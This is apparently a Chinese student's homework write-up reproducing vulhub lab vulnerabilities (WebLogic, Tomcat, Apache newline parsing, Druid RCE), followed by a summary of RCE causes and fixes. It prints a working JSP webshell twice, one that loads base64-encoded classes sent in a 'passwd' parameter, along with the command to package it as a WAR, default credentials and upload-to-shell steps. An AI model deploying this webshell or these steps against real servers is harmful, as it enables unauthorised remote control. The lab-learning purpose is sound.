文章目录
war
war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。在Tomcat中,将war包放置在其\webapps\目录下,然后启动Tomcat,这个包就会自动解压,就相当于发布了。
War 木马文件包的制作方法:
准备一个 JSP 文件
使用命令制作成war文件 jar -cvf shell.war shell.jsp
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>
作业
-
在vps安装docker和docker-compose
-
上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
-
总结RCE漏洞的原理和利用条件及解决方案
1.在vps安装docker和docker-compose
安装好VPS
查看docker版本
docker仓库镜像配置
docker-compose安装
2.复现 vulhub中的漏洞,并说明成因
1.在VPS上搭建好vulhub
安装git
下载vulhub
进入 vulhub目录下的flask/ssti ,对当前环境进行编译
然后查看容器的端口
浏览器访问对应端口,得到如下网址,即证明连接成功
2.weblogic 弱口令/任意文件读取
进入weblogic下的weak_password目录,编译环境
访问网址
使用默认账密weblogic/Oracle@123进行弱口令登录,可以成功登录
访问任意文件下载漏洞,会获得一个文件
查看文件,文件内容如下
利用文件漏洞访问SerializedSystemIni.dat,抓取数据包,得到
利用文件漏洞访问config.xml文件,得到AES的加密串
进行解密,得到登录密码
准备上传文件
在之后的注中选择上载文件
上传war包
之后一致选择下一步,直到完成,然后保存
访问地址,网页存在
使用蚁剑进行连接,连接成功
3.tomcat 弱口令/后台文件上传getshell
编译环境
访问ip端口
准备jsp代码
<%! class U extends ClassLoader { U(ClassLoader c) { super©; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName(“sun.misc.BASE64Decoder”); return (byte[]) clazz.getMethod(“decodeBuffer”, String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName(“java.util.Base64”); Object decoder = clazz.getMethod(“getDecoder”).invoke(null); return (byte[]) decoder.getClass().getMethod(“decode”, String.class).invoke(decoder, str); } }%><% String cls = request.getParameter(“passwd”); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%> |
---|
生成war包
上传
使用蚁剑进行连接,连接成功
4. 换行解析
连接网址
上传文件
抓取数据包
查看hex,在php后面插入一个\x0A
访问网址,使用蚁剑可以连接。
5.apache /druid RCE
编译靶场环境,查看端口
连接网址
抓包,发送到重放器
修改数据包,id指令执行成功
3.总结RCE漏洞的原理和利用条件及解决方案
RCE漏洞,即远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
原理
后台把用户的输入作为代码的一部分进行执行,从而控制整个后台服务器,也就造成了远程代码执行漏洞
利用条件
1、可以调用可执行系统命令的函数
2、用户能够控制这些函数的参数
3、网站没有对这些函数的参数进行严格过滤
解决方案
- 对用户输入的内容进行严格的判断,避免直接使用用户输入来构造命令或代码。
- 尽量保证应用程序运行在最低必要权限下,避免过高权限带来不必要的损失
- 关闭不必要的服务和功能,及时更新和打补丁,减少潜在的漏洞。
- 实施监控和日志记录机制,以便及时发现异常活动。